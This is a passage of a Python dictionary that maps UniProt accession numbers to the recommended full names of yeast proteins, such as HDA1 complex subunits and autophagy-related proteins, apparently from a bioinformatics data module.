'Q06595' : ntuniprot(RecName_Full='Maltose fermentation regulatory protein YPR196W'),
'Q06596' : ntuniprot(RecName_Full='AP-1-like transcription factor YAP8'),
'Q06597' : ntuniprot(RecName_Full='Arsenical-resistance protein 2'),
'Q06598' : ntuniprot(RecName_Full='Arsenical-resistance protein 3 {ECO:0000305}'),
'Q06604' : ntuniprot(RecName_Full='Protein BSP1'),
'Q06608' : ntuniprot(RecName_Full="Pyridoxamine 5'-phosphate oxidase homolog"),
'Q06616' : ntuniprot(RecName_Full='Nuclear envelope protein YPR174C'),
'Q06623' : ntuniprot(RecName_Full='HDA1 complex subunit 3'),
'Q06624' : ntuniprot(RecName_Full='DNA damage tolerance protein RHC31'),
'Q06625' : ntuniprot(RecName_Full='Glycogen debranching enzyme'),
'Q06628' : ntuniprot(RecName_Full='Autophagy-related protein 13'),
'Q06629' : ntuniprot(RecName_Full='HDA1 complex subunit 2'),
'Q06630' : ntuniprot(RecName_Full='Mitochondrial homologous recombination protein 1'),
'Q06631' : ntuniprot(RecName_Full='Protein BFR2'),
'Q06632' : ntuniprot(RecName_Full='Protein CFT1'),
'Q06636' : ntuniprot(RecName_Full='Glycosylphosphatidylinositol anchor biosynthesis protein 11'),
'Q06639' : ntuniprot(RecName_Full='Chromatin structure-remodeling complex protein RSC3'),
'Q06640' : ntuniprot(RecName_Full='F-box protein YDR306C'),
'Q06644' : ntuniprot(RecName_Full='Probable dolichyl-phosphate-mannose--protein mannosyltransferase 7 {ECO:0000305}'),
'Q06648' : ntuniprot(RecName_Full='GTPase-interacting component 2'),
'Q06651' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase PIB1'),
'Q06665' : ntuniprot(RecName_Full='DNA repair protein RAD34'),
'Q06667' : ntuniprot(RecName_Full='Inositol-pentakisphosphate 2-kinase'),
'Q06668' : ntuniprot(RecName_Full='Methyltransferase OMS1, mitochondrial'),
'Q06671' : ntuniprot(RecName_Full='Autophagy-related protein 23'),
'Q06672' : ntuniprot(RecName_Full='Pre-rRNA-processing protein TSR2'),
'Q06673' : ntuniprot(RecName_Full='Protein ECM30'),
'Q06674' : ntuniprot(RecName_Full='Protein HIM1'),
'Q06675' : ntuniprot(RecName_Full='Inner kinetochore subunit MCM21 {ECO:0000305}'),
'Q06676' : ntuniprot(RecName_Full='FIT family protein YFT2'),
'Q06677' : ntuniprot(RecName_Full='Auxilin-like clathrin uncoating factor SWA2'),
'Q06678' : ntuniprot(RecName_Full='54S ribosomal protein L35, mitochondrial'),
'Q06679' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein 4'),
'Q06680' : ntuniprot(RecName_Full='Condensin complex subunit 3'),
'Q06681' : ntuniprot(RecName_Full='Membrane-anchored lipid-binding protein YSP2 {ECO:0000303|PubMed:26001273}'),
'Q06682' : ntuniprot(RecName_Full='UBX domain-containing protein 5'),
'Q06683' : ntuniprot(RecName_Full='Putative ATP-dependent helicase IRC3'),
'Q06685' : ntuniprot(RecName_Full='Inositol hexakisphosphate and diphosphoinositol-pentakisphosphate kinase'),
'Q06686' : ntuniprot(RecName_Full='Copper transport protein CTR3'),
'Q06688' : ntuniprot(RecName_Full='SRR1-like protein BER1'),
'Q06689' : ntuniprot(RecName_Full='Cell membrane protein YLR413W'),
'Q06696' : ntuniprot(RecName_Full='Vacuolar protein-sorting-associated protein 36'),
'Q06697' : ntuniprot(RecName_Full='Cell division control protein 73'),
'Q06698' : ntuniprot(RecName_Full='Putative ATP-dependent RNA helicase YLR419W'),
'Q06702' : ntuniprot(RecName_Full='Chitin deacetylase 1'),
'Q06703' : ntuniprot(RecName_Full='Chitin deacetylase 2'),
'Q06704' : ntuniprot(RecName_Full='Golgin IMH1'),
'Q06705' : ntuniprot(RecName_Full='Phosphatidylinositol transfer protein CSR1'),
'Q06706' : ntuniprot(RecName_Full='Elongator complex protein 1'),
'Q06707' : ntuniprot(RecName_Full='SWR1-complex protein 7'),
'Q06708' : ntuniprot(RecName_Full='Vacuole morphology and inheritance protein 14'),
'Q06709' : ntuniprot(RecName_Full='Cytoplasmic 60S subunit biogenesis factor REH1'),
'Q06810' : ntuniprot(RecName_Full='Protein OPY2'),
'Q06813' : ntuniprot(RecName_Full='Uncharacterized protein YPR078C'),
'Q06815' : ntuniprot(RecName_Full='Mannose 6-phosphate receptor-like protein 1'),
'Q06817' : ntuniprot(RecName_Full='Glycine--tRNA ligase 2'),
'Q06819' : ntuniprot(RecName_Full='Spliceosomal protein DIB1'),
'Q06820' : ntuniprot(RecName_Full='Mitochondrial distribution and morphology protein 36'),
'Q06821' : ntuniprot(RecName_Full='Uncharacterized protein YPR084W'),
'Q06822' : ntuniprot(RecName_Full='ASTRA-associated protein 1'),
'Q06833' : ntuniprot(RecName_Full='Uncharacterized PH domain-containing protein YPR091C'),
'Q06834' : ntuniprot(RecName_Full='Alcohol-sensitive RING finger protein 1'),
'Q06835' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor RDS3'),
'Q06836' : ntuniprot(RecName_Full='Arf guanine nucleotide exchange factor SYT1'),
'Q06839' : ntuniprot(RecName_Full='PX domain-containing protein YPR097W'),
'Q06892' : ntuniprot(RecName_Full='NADH kinase POS5, mitochondrial'),
'Q06991' : ntuniprot(RecName_Full='Protein PUN1'),
'Q07074' : ntuniprot(RecName_Full='Uncharacterized protein YHR007C-A'),
'Q07084' : ntuniprot(RecName_Full='Osmolarity two-component system protein SSK1'),
'Q07349' : ntuniprot(RecName_Full='MIOREX complex component 9 {ECO:0000305|PubMed:25683707}'),
'Q07350' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor PRP11'),
'Q07351' : ntuniprot(RecName_Full='Zinc finger protein STP4'),
'Q07362' : ntuniprot(RecName_Full='Protein PBP4'),
'Q07376' : ntuniprot(RecName_Full='Probable transporter MCH1'),
'Q07379' : ntuniprot(RecName_Full='Putative uncharacterized protein YDL057W'),
'Q07381' : ntuniprot(RecName_Full='Ribosome biogenesis protein TSR1'),
'Q07395' : ntuniprot(RecName_Full='Synchronized import protein 1'),
'Q07418' : ntuniprot(RecName_Full='Peroxisomal membrane protein import receptor PEX19'),
'Q07442' : ntuniprot(RecName_Full='Bromodomain-containing factor 2'),
'Q07451' : ntuniprot(RecName_Full='Endoplasmic reticulum transmembrane protein 3'),
'Q07454' : ntuniprot(RecName_Full='UPF0592 protein YDL073W'),
'Q07457' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase BRE1'),
'Q07458' : ntuniprot(RecName_Full='Transcriptional regulatory protein RXT3'),
'Q07468' : ntuniprot(RecName_Full='Vacuolar morphogenesis protein 6'),
'Q07471' : ntuniprot(RecName_Full='Thiamine metabolism regulatory protein THI3'),
'Q07478' : ntuniprot(RecName_Full='ATP-dependent RNA helicase SUB2'),
'Q07500' : ntuniprot(RecName_Full='External NADH-ubiquinone oxidoreductase 2, mitochondrial'),
'Q07505' : ntuniprot(RecName_Full='Putative carboxymethylenebutenolidase'),
'Q07508' : ntuniprot(RecName_Full='Protein LUC7'),
'Q07527' : ntuniprot(RecName_Full="tRNA (guanosine(18)-2'-O)-methyltransferase {ECO:0000305|PubMed:9917067}"),
'Q07528' : ntuniprot(RecName_Full='Autophagy-related protein 20'),
'Q07530' : ntuniprot(RecName_Full='Uncharacterized oxidoreductase YDL114W'),
'Q07532' : ntuniprot(RecName_Full='RNA polymerase II nuclear localization protein IWR1'),
'Q07533' : ntuniprot(RecName_Full='Cytokinesis protein 3'),
'Q07534' : ntuniprot(RecName_Full='Mitochondrial glycine transporter {ECO:0000255|HAMAP-Rule:MF_03064, ECO:0000303|PubMed:27476175}'),
'Q07540' : ntuniprot(RecName_Full='Frataxin homolog, mitochondrial'),
'Q07541' : ntuniprot(RecName_Full='Uncharacterized protein YDL121C'),
'Q07549' : ntuniprot(RecName_Full='Protein SNA4'),
'Q07551' : ntuniprot(RecName_Full='NADPH-dependent alpha-keto amide reductase'),
'Q07555' : ntuniprot(RecName_Full='Uncharacterized protein YDL129W'),
'Q07560' : ntuniprot(RecName_Full='Cardiolipin synthase (CMP-forming)'),
'Q07589' : ntuniprot(RecName_Full='Uncharacterized protein YDL144C'),
'Q07622' : ntuniprot(RecName_Full='Activator of C kinase protein 1'),
'Q07623' : ntuniprot(RecName_Full='Nucleolar protein 6'),
'Q07629' : ntuniprot(RecName_Full='Uncharacterized membrane protein YDL218W'),
'Q07648' : ntuniprot(RecName_Full='D-aminoacyl-tRNA deacylase {ECO:0000250|UniProtKB:Q8IIS0}'),
'Q07651' : ntuniprot(RecName_Full='SUR7 family protein FMP45'),
'Q07653' : ntuniprot(RecName_Full='Protein HBT1'),
'Q07655' : ntuniprot(RecName_Full='Protein WHI4'),
'Q07657' : ntuniprot(RecName_Full='Seventh homolog of septin 1'),
'Q07660' : ntuniprot(RecName_Full='Protein BRE4'),
'Q07684' : ntuniprot(RecName_Full='Morphogenetic regulator of filamentous growth protein 1'),
'Q07688' : ntuniprot(RecName_Full='Phosphorelay intermediate protein YPD1'),
'Q07716' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 6'),
'Q07729' : ntuniprot(RecName_Full='Probable guanine deaminase'),
'Q07732' : ntuniprot(RecName_Full='Accumulates dyads protein 3'),
'Q07738' : ntuniprot(RecName_Full='Uncharacterized protein YDL241W'),
'Q07747' : ntuniprot(RecName_Full='Probable aryl-alcohol dehydrogenase AAD4'),
'Q07748' : ntuniprot(RecName_Full='4-amino-5-hydroxymethyl-2-methylpyrimidine phosphate synthase THI13 {ECO:0000250|UniProtKB:P43534}'),
'Q07786' : ntuniprot(RecName_Full='Sorbitol dehydrogenase 2'),
'Q07788' : ntuniprot(RecName_Full='Protein COS7'),
'Q07791' : ntuniprot(RecName_Full='Transposon Ty2-DR3 Gag-Pol polyprotein'),
'Q07793' : ntuniprot(RecName_Full='Transposon Ty1-DR4 Gag-Pol polyprotein'),
'Q07794' : ntuniprot(RecName_Full='Histone acetyltransferase RTT109'),
'Q07798' : ntuniprot(RecName_Full='Sporulation-specific protein 75'),
'Q07799' : ntuniprot(RecName_Full='Uncharacterized protein YLL007C'),
'Q07800' : ntuniprot(RecName_Full='Phosphatase PSR1'),
'Q07804' : ntuniprot(RecName_Full='Sterol esterase 1'),
'Q07807' : ntuniprot(RecName_Full='mRNA-binding protein PUF3'),
'Q07821' : ntuniprot(RecName_Full='Iron-sulfur assembly protein 1'),
'Q07824' : ntuniprot(RecName_Full='Polyamine transporter 1'),
'Q07825' : ntuniprot(RecName_Full='Putative Xaa-Pro aminopeptidase FRA1'),
'Q07830' : ntuniprot(RecName_Full='GPI ethanolamine phosphate transferase 3'),
'Q07834' : ntuniprot(RecName_Full='KH domain-containing protein YLL032C'),
'Q07843' : ntuniprot(RecName_Full='Increased recombination centers protein 19'),
'Q07844' : ntuniprot(RecName_Full='Ribosome biogenesis ATPase RIX7'),
'Q07845' : ntuniprot(RecName_Full="Polynucleotide 5'-hydroxyl-kinase GRC3"),
'Q07872' : ntuniprot(RecName_Full='Epsin-4'),
'Q07878' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 13'),
'Q07879' : ntuniprot(RecName_Full='Ubiquitin-like-conjugating enzyme ATG10'),
'Q07887' : ntuniprot(RecName_Full='Protein LDB18'),
'Q07888' : ntuniprot(RecName_Full="Y' element ATP-dependent helicase YLL067C"),
'Q07895' : ntuniprot(RecName_Full='FAS1 domain-containing protein YLR001C'),
'Q07896' : ntuniprot(RecName_Full='Nucleolar complex-associated protein 3'),
'Q07897' : ntuniprot(RecName_Full='Protein CMS1'),
'Q07904' : ntuniprot(RecName_Full='Thiamine pathway transporter THI73'),
'Q07913' : ntuniprot(RecName_Full='Non-structural maintenance of chromosomes element 1'),
'Q07914' : ntuniprot(RecName_Full='Mitochondrial import inner membrane translocase subunit TIM14'),
'Q07915' : ntuniprot(RecName_Full='Ribosome biogenesis protein RLP24'),
'Q07921' : ntuniprot(RecName_Full='Telomere length regulation protein TEN1'),
'Q07923' : ntuniprot(RecName_Full='NAD(P)H-dependent FMN reductase LOT6'),
'Q07927' : ntuniprot(RecName_Full='Uncharacterized protein YLR012C'),
'Q07928' : ntuniprot(RecName_Full='Protein GAT3'),
'Q07930' : ntuniprot(RecName_Full='Pre-mRNA leakage protein 1'),
'Q07938' : ntuniprot(RecName_Full="S-methyl-5'-thioadenosine phosphorylase {ECO:0000255|HAMAP-Rule:MF_03155}"),
'Q07949' : ntuniprot(RecName_Full='Probable phosphatase PSR2'),
'Q07950' : ntuniprot(RecName_Full='Sterol esterase 2'),
'Q07951' : ntuniprot(RecName_Full='Proteasome chaperone 3'),
'Q07953' : ntuniprot(RecName_Full='Ribosome maturation protein SDO1'),
'Q07959' : ntuniprot(RecName_Full='ADIPOR-like receptor IZH3'),
'Q07963' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase UBR2'),
'Q07967' : ntuniprot(RecName_Full='Putative uncharacterized protein YLR030W'),
'Q07978' : ntuniprot(RecName_Full='Putative uncharacterized protein YLR031W'),
'Q07979' : ntuniprot(RecName_Full='Chromatin structure-remodeling complex protein RSC58'),
'Q07980' : ntuniprot(RecName_Full='DNA mismatch repair protein MLH2'),
'Q07986' : ntuniprot(RecName_Full='Uncharacterized protein YLR036C'),
'Q07987' : ntuniprot(RecName_Full='Seripauperin-23'),
'Q07988' : ntuniprot(RecName_Full='Cell wall protein YLR040C'),
'Q07990' : ntuniprot(RecName_Full='Cell wall protein YLR042C'),
'Q07993' : ntuniprot(RecName_Full='D-xylulose reductase'),
'Q08001' : ntuniprot(RecName_Full='Membrane-anchored lipid-binding protein LAM6 {ECO:0000303|PubMed:26001273}'),
'Q08003' : ntuniprot(RecName_Full='Regulator of free ubiquitin chains 1'),
'Q08004' : ntuniprot(RecName_Full='Bud site selection protein 20'),
'Q08023' : ntuniprot(RecName_Full='Protein FMP25, mitochondrial'),
'Q08032' : ntuniprot(RecName_Full='Cell division control protein 45'),
'Q08045' : ntuniprot(RecName_Full='Long chronological lifespan protein 2'),
'Q08054' : ntuniprot(RecName_Full='Chitin synthase 3 complex protein CSI2'),
'Q08058' : ntuniprot(RecName_Full='Coenzyme Q-binding protein COQ10, mitochondrial'),
'Q08096' : ntuniprot(RecName_Full="RNA 3'-terminal phosphate cyclase-like protein"),
'Q08108' : ntuniprot(RecName_Full='Lysophospholipase 3'),
'Q08109' : ntuniprot(RecName_Full='ERAD-associated E3 ubiquitin-protein ligase HRD1'),
'Q08110' : ntuniprot(RecName_Full='Putative uncharacterized protein YOL014W'),
'Q08118' : ntuniprot(RecName_Full='Uncharacterized protein IRC10'),
'Q08119' : ntuniprot(RecName_Full='Protein ESC8'),
'Q08144' : ntuniprot(RecName_Full='t-SNARE affecting a late Golgi compartment protein 2'),
'Q08157' : ntuniprot(RecName_Full='Uncharacterized membrane protein YOL019W'),
'Q08162' : ntuniprot(RecName_Full='Exosome complex exonuclease DIS3'),
'Q08172' : ntuniprot(RecName_Full='Putative uncharacterized protein YOL024W'),
'Q08176' : ntuniprot(RecName_Full='Mitochondrial import protein 1'),
'Q08179' : ntuniprot(RecName_Full='Mitochondrial distribution and morphology protein 38 {ECO:0000303|PubMed:11907266}'),
'Q08182' : ntuniprot(RecName_Full='AP-1-like transcription factor YAP7'),
'Q08187' : ntuniprot(RecName_Full='Uncharacterized protein YOL029C'),
'Q08193' : ntuniprot(RecName_Full='1,3-beta-glucanosyltransferase GAS5'),
'Q08199' : ntuniprot(RecName_Full='Nucleotide exchange factor SIL1'),
'Q08202' : ntuniprot(RecName_Full='Protein OPI10'),
'Q08204' : ntuniprot(RecName_Full='Structural maintenance of chromosomes protein 5'),
'Q08206' : ntuniprot(RecName_Full='Uncharacterized protein YOL036W'),
'Q08208' : ntuniprot(RecName_Full='Nucleolar protein 12'),
'Q08213' : ntuniprot(RecName_Full='RNA exonuclease NGL1'),
'Q08214' : ntuniprot(RecName_Full='Endonuclease III homolog 2 {ECO:0000255|HAMAP-Rule:MF_03183}'),
'Q08215' : ntuniprot(RecName_Full='Peroxisomal membrane protein PEX15'),
'Q08217' : ntuniprot(RecName_Full='Serine/threonine-protein kinase PSK2'),
'Q08218' : ntuniprot(RecName_Full='Outer spore wall protein LDS2 {ECO:0000305|PubMed:23966878}'),
'Q08219' : ntuniprot(RecName_Full='Outer spore wall protein RRT8 {ECO:0000305|PubMed:23966878}'),
'Q08220' : ntuniprot(RecName_Full='Glutathione synthetase'),
'Q08223' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 39, mitochondrial'),
'Q08224' : ntuniprot(RecName_Full='Hydroxymethylpyrimidine/phosphomethylpyrimidine kinase THI20'),
'Q08225' : ntuniprot(RecName_Full='Probable dipeptidyl peptidase 3'),
'Q08226' : ntuniprot(RecName_Full='Protein CRT10'),
'Q08227' : ntuniprot(RecName_Full='Phosphatidylinositol 4,5-bisphosphate 5-phosphatase INP54'),
'Q08229' : ntuniprot(RecName_Full='Protein NBA1'),
'Q08230' : ntuniprot(RecName_Full='Succinate dehydrogenase assembly factor 2, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03057, ECO:0000303|PubMed:23062074}'),
'Q08231' : ntuniprot(RecName_Full='Nuclear mRNA export protein THP1'),
'Q08232' : ntuniprot(RecName_Full='Uncharacterized membrane protein YOL073C'),
'Q08234' : ntuniprot(RecName_Full='Uncharacterized ABC transporter ATP-binding protein/permease YOL075C'),
'Q08235' : ntuniprot(RecName_Full='Ribosome biogenesis protein BRX1'),
'Q08236' : ntuniprot(RecName_Full='Target of rapamycin complex 2 subunit AVO1'),
'Q08237' : ntuniprot(RecName_Full='RNA exonuclease 4'),
'Q08245' : ntuniprot(RecName_Full='Protein ZEO1'),
'Q08268' : ntuniprot(RecName_Full='Probable transporter MCH4'),
'Q08269' : ntuniprot(RecName_Full='Magnesium transporter ALR1'),
'Q08270' : ntuniprot(RecName_Full='Uncharacterized protein YOL131W'),
'Q08271' : ntuniprot(RecName_Full='1,3-beta-glucanosyltransferase GAS4'),
'Q08273' : ntuniprot(RecName_Full='RING-box protein HRT1'),
'Q08278' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 7'),
'Q08280' : ntuniprot(RecName_Full='Bypass of stop codon protein 6'),
'Q08281' : ntuniprot(RecName_Full='Restriction of telomere capping protein 1'),
'Q08282' : ntuniprot(RecName_Full='tRNA wybutosine-synthesizing protein 4'),
'Q08285' : ntuniprot(RecName_Full='Exosome complex component RRP40'),
'Q08287' : ntuniprot(RecName_Full='60S ribosome subunit biogenesis protein NOP8'),
'Q08295' : ntuniprot(RecName_Full='Oligo-1,6-glucosidase IMA2'),
'Q08299' : ntuniprot(RecName_Full='Siderophore iron transporter ENB1'),
'Q08300' : ntuniprot(RecName_Full='Uncharacterized protein YOL159C'),
'Q08322' : ntuniprot(RecName_Full='Seripauperin-20'),
'Q08347' : ntuniprot(RecName_Full='Alkyl/aryl-sulfatase BDS1 {ECO:0000303|PubMed:15947202}'),
'Q08361' : ntuniprot(RecName_Full='Putative aryl-alcohol dehydrogenase AAD15'),
'Q08387' : ntuniprot(RecName_Full='DNA ligase 4'),
'Q08409' : ntuniprot(RecName_Full='ATP-dependent permease AUS1'),
'Q08412' : ntuniprot(RecName_Full='Ubiquitin-binding protein CUE5'),
'Q08416' : ntuniprot(RecName_Full='Increased recombination centers protein 23'),
'Q08417' : ntuniprot(RecName_Full='Sphingoid long-chain base transporter RSB1'),
'Q08421' : ntuniprot(RecName_Full='Enhancer of translation termination 1'),
'Q08422' : ntuniprot(RecName_Full='AN1-type zinc finger protein TMC1 {ECO:0000305}'),
'Q08438' : ntuniprot(RecName_Full='Phosphopantothenoylcysteine decarboxylase subunit VHS3'),
'Q08444' : ntuniprot(RecName_Full='20S-pre-rRNA D-site endonuclease NOB1'),
'Q08446' : ntuniprot(RecName_Full='Protein SGT1 {ECO:0000303|PubMed:10445024, ECO:0000303|PubMed:12456005}'),
'Q08448' : ntuniprot(RecName_Full='Putative lipase YOR059C'),
'Q08457' : ntuniprot(RecName_Full='Mitochondrial morphogenesis protein SLD7'),
'Q08465' : ntuniprot(RecName_Full='Protein YNG1'),
'Q08471' : ntuniprot(RecName_Full='G1-specific transcription factors activator MSA1'),
'Q08474' : ntuniprot(RecName_Full='Vacuolar morphogenesis protein 10'),
'Q08484' : ntuniprot(RecName_Full='GTPase-activating protein GYP1'),
'Q08485' : ntuniprot(RecName_Full='Nicotinamide riboside transporter 1'),
'Q08490' : ntuniprot(RecName_Full='Shugoshin'),
'Q08491' : ntuniprot(RecName_Full='Superkiller protein 7'),
'Q08492' : ntuniprot(RecName_Full='Bud site selection protein 21'),
'Q08496' : ntuniprot(RecName_Full='Protein DIA2'),
'Q08504' : ntuniprot(RecName_Full='Uncharacterized protein YOR105W'),
'Q08548' : ntuniprot(RecName_Full='Lysophospholipid acyltransferase'),
'Q08550' : ntuniprot(RecName_Full='Meiotic plaque component protein 54'),
'Q08553' : ntuniprot(RecName_Full='Protein SYC1'),
'Q08558' : ntuniprot(RecName_Full='Delta(3,5)-Delta(2,4)-dienoyl-CoA isomerase'),
'Q08559' : ntuniprot(RecName_Full='Protein FYV12'),
'Q08560' : ntuniprot(RecName_Full='Putative uncharacterized protein YOR186W'),
'Q08561' : ntuniprot(RecName_Full='Ino eighty subunit 4'),
'Q08562' : ntuniprot(RecName_Full='ATP-dependent helicase ULS1'),
'Q08579' : ntuniprot(RecName_Full='Thiamine transporter THI72'),
'Q08580' : ntuniprot(RecName_Full='Peroxisomal membrane protein PEX27'),
'Q08581' : ntuniprot(RecName_Full='Kinetochore protein SLK19'),
'Q08601' : ntuniprot(RecName_Full='Metacaspase-1'),
'Q08622' : ntuniprot(RecName_Full='Genetic interactor of prohibitins 3, mitochondrial'),
'Q08634' : ntuniprot(RecName_Full='Uncharacterized protein YOR238W'),
'Q08641' : ntuniprot(RecName_Full='tRNA(Thr) (cytosine(32)-N(3))-methyltransferase'),
'Q08645' : ntuniprot(RecName_Full='Folylpolyglutamate synthase'),
'Q08646' : ntuniprot(RecName_Full='Sporulation-specific protein 2'),
'Q08647' : ntuniprot(RecName_Full='Multisubstrate pseudouridine synthase 7'),
'Q08649' : ntuniprot(RecName_Full='Histone acetyltransferase ESA1'),
'Q08650' : ntuniprot(RecName_Full='Diacylglycerol O-acyltransferase 1'),
'Q08651' : ntuniprot(RecName_Full='Probable oxidoreductase ENV9'),
'Q08673' : ntuniprot(RecName_Full='Cell wall protein SRL1'),
'Q08683' : ntuniprot(RecName_Full='Anaphase-promoting complex subunit 5'),
'Q08685' : ntuniprot(RecName_Full='mRNA cleavage and polyadenylation factor CLP1 {ECO:0000255|HAMAP-Rule:MF_03035}'),
'Q08686' : ntuniprot(RecName_Full='Thiosulfate sulfurtransferase TUM1'),
'Q08687' : ntuniprot(RecName_Full='Translation machinery-associated protein 16'),
'Q08689' : ntuniprot(RecName_Full='N-alpha-acetyltransferase NAT5 {ECO:0000305}'),
'Q08692' : ntuniprot(RecName_Full='Outer spore wall protein 1'),
'Q08693' : ntuniprot(RecName_Full='Putative zinc metalloprotease TRE2'),
'Q08702' : ntuniprot(RecName_Full='Aprataxin-like protein'),
'Q08723' : ntuniprot(RecName_Full='26S proteasome regulatory subunit RPN8'),
'Q08726' : ntuniprot(RecName_Full='GPN-loop GTPase 2 {ECO:0000303|PubMed:21532343}'),
'Q08729' : ntuniprot(RecName_Full='Protein DSE3'),
'Q08732' : ntuniprot(RecName_Full='Serine/threonine-protein kinase HRK1'),
'Q08734' : ntuniprot(RecName_Full='Uncharacterized protein YOR268C'),
'Q08742' : ntuniprot(RecName_Full='Thiosulfate sulfurtransferase RDL2, mitochondrial'),
'Q08743' : ntuniprot(RecName_Full='Vacuolar membrane protein YOR292C'),
'Q08745' : ntuniprot(RecName_Full='40S ribosomal protein S10-A {ECO:0000303|PubMed:9559554}'),
'Q08746' : ntuniprot(RecName_Full='Regulator of ribosome biosynthesis'),
'Q08747' : ntuniprot(RecName_Full='Upstream activation factor subunit UAF30'),
'Q08748' : ntuniprot(RecName_Full='Uncharacterized protein YOR296W'),
'Q08749' : ntuniprot(RecName_Full='Mitochondrial import inner membrane translocase subunit TIM18'),
'Q08750' : ntuniprot(RecName_Full='Protein MUM3'),
'Q08754' : ntuniprot(RecName_Full='Bud site selection protein 7'),
'Q08760' : ntuniprot(RecName_Full='Bud site selection protein RAX1'),
'Q08773' : ntuniprot(RecName_Full='ISWI chromatin-remodeling complex ATPase ISW2'),
'Q08774' : ntuniprot(RecName_Full='Required for respiratory growth protein 7, mitochondrial'),
'Q08777' : ntuniprot(RecName_Full='Riboflavin transporter MCH5'),
'Q08816' : ntuniprot(RecName_Full='Uncharacterized protein YOR352W'),
'Q08817' : ntuniprot(RecName_Full='Leucine-rich repeat-containing protein SOG2'),
'Q08818' : ntuniprot(RecName_Full='Meiotic sister-chromatid recombination protein 6, mitochondrial'),
'Q08822' : ntuniprot(RecName_Full='Probable electron transfer flavoprotein-ubiquinone oxidoreductase, mitochondrial'),
'Q08826' : ntuniprot(RecName_Full='Sorting nexin-3'),
'Q08831' : ntuniprot(RecName_Full='Protein VTS1'),
'Q08844' : ntuniprot(RecName_Full='Uncharacterized membrane protein YOR365C'),
'Q08873' : ntuniprot(RecName_Full='Transgelin'),
'Q08886' : ntuniprot(RecName_Full='Guanine nucleotide-binding protein subunit beta 1'),
'Q08887' : ntuniprot(RecName_Full='Nuclear division defective protein 1'),
'Q08902' : ntuniprot(RecName_Full='Drug resistance protein YOR378W'),
'Q08904' : ntuniprot(RecName_Full='Protein RDR1'),
'Q08905' : ntuniprot(RecName_Full='Ferric reductase transmembrane component 3'),
'Q08906' : ntuniprot(RecName_Full='Facilitator of iron transport 2'),
'Q08907' : ntuniprot(RecName_Full='Facilitator of iron transport 3'),
'Q08908' : ntuniprot(RecName_Full='Ferric reductase transmembrane component 5'),
'Q08909' : ntuniprot(RecName_Full='Uncharacterized protein YOR385W'),
'Q08910' : ntuniprot(RecName_Full='VEL1-related protein YOR387C'),
'Q08911' : ntuniprot(RecName_Full='Formate dehydrogenase 1 {ECO:0000255|HAMAP-Rule:MF_03210, ECO:0000303|PubMed:9178506}'),
'Q08912' : ntuniprot(RecName_Full='Uncharacterized protein YOR389W'),
'Q08913' : ntuniprot(RecName_Full='Fluoride export protein 1 {ECO:0000303|PubMed:24173035}'),
'Q08914' : ntuniprot(RecName_Full='Probable glutathione-independent glyoxalase HSP33 {ECO:0000250|UniProtKB:Q04432}'),
'Q08919' : ntuniprot(RecName_Full='Uncharacterized protein TRE1'),
'Q08920' : ntuniprot(RecName_Full='Nuclear cap-binding protein subunit 2'),
'Q08921' : ntuniprot(RecName_Full='Target of rapamycin complex 1 subunit TCO89'),
'Q08923' : ntuniprot(RecName_Full='Histone deacetylase complex subunit CTI6'),
'Q08924' : ntuniprot(RecName_Full='Regulator of Ty1 transposition protein 10'),
'Q08925' : ntuniprot(RecName_Full='RNA-binding protein MRN1'),
'Q08926' : ntuniprot(RecName_Full='ULP1-interacting protein 4'),
'Q08929' : ntuniprot(RecName_Full='Glycerol uptake protein 2'),
'Q08930' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase MIY1 {ECO:0000303|PubMed:27292798}'),
'Q08931' : ntuniprot(RecName_Full='Pheromone-regulated membrane protein 3'),
'Q08932' : ntuniprot(RecName_Full='Ribosome assembly 1 protein'),
'Q08949' : ntuniprot(RecName_Full='DNA damage checkpoint protein 1'),
'Q08951' : ntuniprot(RecName_Full='AP-3 complex subunit delta'),
'Q08952' : ntuniprot(RecName_Full='Oxidation resistance protein 1'),
'Q08954' : ntuniprot(RecName_Full='Smr domain-containing protein YPL199C'),
'Q08955' : ntuniprot(RecName_Full='Chromosome segregation in meiosis protein 4'),
'Q08956' : ntuniprot(RecName_Full='Protein YIG1'),
'Q08957' : ntuniprot(RecName_Full='Iron-regulated transcriptional activator AFT2'),
'Q08959' : ntuniprot(RecName_Full='Phosphatidylglycerol phospholipase C'),
'Q08960' : ntuniprot(RecName_Full='S-adenosyl-L-methionine-dependent tRNA 4-demethylwyosine synthase'),
'Q08961' : ntuniprot(RecName_Full='Ribosomal lysine N-methyltransferase 1 {ECO:0000303|PubMed:16096273}'),
'Q08962' : ntuniprot(RecName_Full='60S ribosome subunit biogenesis protein NIP7'),
'Q08963' : ntuniprot(RecName_Full="U2 small nuclear ribonucleoprotein A'"),
'Q08964' : ntuniprot(RecName_Full='Putative ISWI chromatin-remodeling complex subunit YPL216W'),
'Q08965' : ntuniprot(RecName_Full='Ribosome biogenesis protein BMS1'),
'Q08966' : ntuniprot(RecName_Full='PHO85 cyclin-8'),
'Q08967' : ntuniprot(RecName_Full='Flavin carrier protein 1'),
'Q08968' : ntuniprot(RecName_Full='Protein adenylyltransferase SelO, mitochondrial {ECO:0000305}'),
'Q08969' : ntuniprot(RecName_Full='Protein GRE1'),
'Q08970' : ntuniprot(RecName_Full='Mitochondrial metal transporter 2'),
'Q08971' : ntuniprot(RecName_Full='Protein PBDC1 homolog'),
'Q08972' : ntuniprot(RecName_Full='[NU+] prion formation protein 1'),
'Q08974' : ntuniprot(RecName_Full='Uncharacterized membrane protein YPL257W'),
'Q08975' : ntuniprot(RecName_Full='Hydroxymethylpyrimidine/phosphomethylpyrimidine kinase THI21'),
'Q08977' : ntuniprot(RecName_Full='UPF0662 protein YPL260W'),
'Q08979' : ntuniprot(RecName_Full='Kelch repeat-containing protein 3'),
'Q08980' : ntuniprot(RecName_Full='Probable transport protein YPL264C'),
'Q08981' : ntuniprot(RecName_Full='APC/C-CDH1 modulator 1'),
'Q08984' : ntuniprot(RecName_Full='Uncharacterized protein YPL272C'),
